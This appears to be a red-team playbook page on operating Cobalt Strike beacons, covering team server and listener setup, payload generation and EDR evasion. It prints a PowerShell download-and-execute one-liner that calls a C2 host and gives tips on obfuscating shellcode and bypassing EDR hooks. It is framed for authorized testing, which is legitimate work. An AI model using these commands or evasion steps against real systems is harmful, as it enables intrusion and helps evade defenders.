cobalt-strike-beacon-operations

Cobalt Strike Beacon Operations

When to Use

• During authorized red team engagements requiring professional C2 operations
• When conducting assumed-breach assessments with persistent access requirements
• When simulating advanced persistent threat (APT) operations
• When testing EDR/AV detection and security monitoring capabilities
• When you need advanced post-exploitation with opsec considerations

When NOT to use: For open-source alternatives, use sliver-c2-implant-operations or havoc-c2-demon-operations skills. NEVER use without explicit written authorization.

Prerequisites

• Licensed Cobalt Strike (valid license required)
• Red team infrastructure: redirectors, domains, SSL certificates
• Malleable C2 profile (don't use default!)
• Understanding of OPSEC principles
• Written authorization (Rules of Engagement document)
• Kill chain plan agreed with engagement stakeholders

Workflow

Phase 1: Infrastructure Setup

# Start Team Server (on Red Team server)
./teamserver <TEAM_SERVER_IP> <PASSWORD> <MALLEABLE_PROFILE>

# Example with custom profile:
./teamserver 10.10.10.100 RedTeam2024! ./profiles/amazon.profile

# Connect Cobalt Strike client
# File → New Connection
# Host: 10.10.10.100
# Port: 50050
# Password: RedTeam2024!

# Configure Listeners:
# Attacks → Web Drive-by → Scripted Web Delivery (for quick staging)
# Cobalt Strike → Listeners → Add
# Types: HTTP, HTTPS, DNS, SMB (named pipe), TCP

# HTTPS Listener (recommended):
# Name: https-c2
# HTTP Host: c2.attacker-domain.com
# HTTP Port: 443
# HTTPS Certificate: Let's Encrypt cert for your domain
# Profile: Use malleable C2 profile that mimics legitimate traffic

Phase 2: Payload Generation & Delivery

# Generate payloads:
# Attacks → Packages →

# Staged payload (small, needs callback to download full beacon):
# Windows Executable (exe, dll, svc)
# HTML Application (hta)

# Stageless payload (full beacon, no callback needed):
# Windows Executable (Stageless) — preferred for opsec
# Raw shellcode — use with custom loaders

# Payload best practices:
# - Use stageless over staged (less network artifacts)
# - Generate raw shellcode and use custom loader
# - Sign payloads with valid code signing certificate
# - Use process injection instead of on-disk execution
# - Obfuscate shellcode to evade static signatures

# Scripted Web Delivery:
# Attacks → Web Drive-by → Scripted Web Delivery
# Generates: powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/a')"

# Custom shellcode loader (example concept):
# 1. Generate raw shellcode: Payloads → Stager → Raw
# 2. Encrypt with AES-256
# 3. Embed in custom C# loader
# 4. Add sandbox evasion checks
# 5. Use syscalls for injection to bypass EDR hooks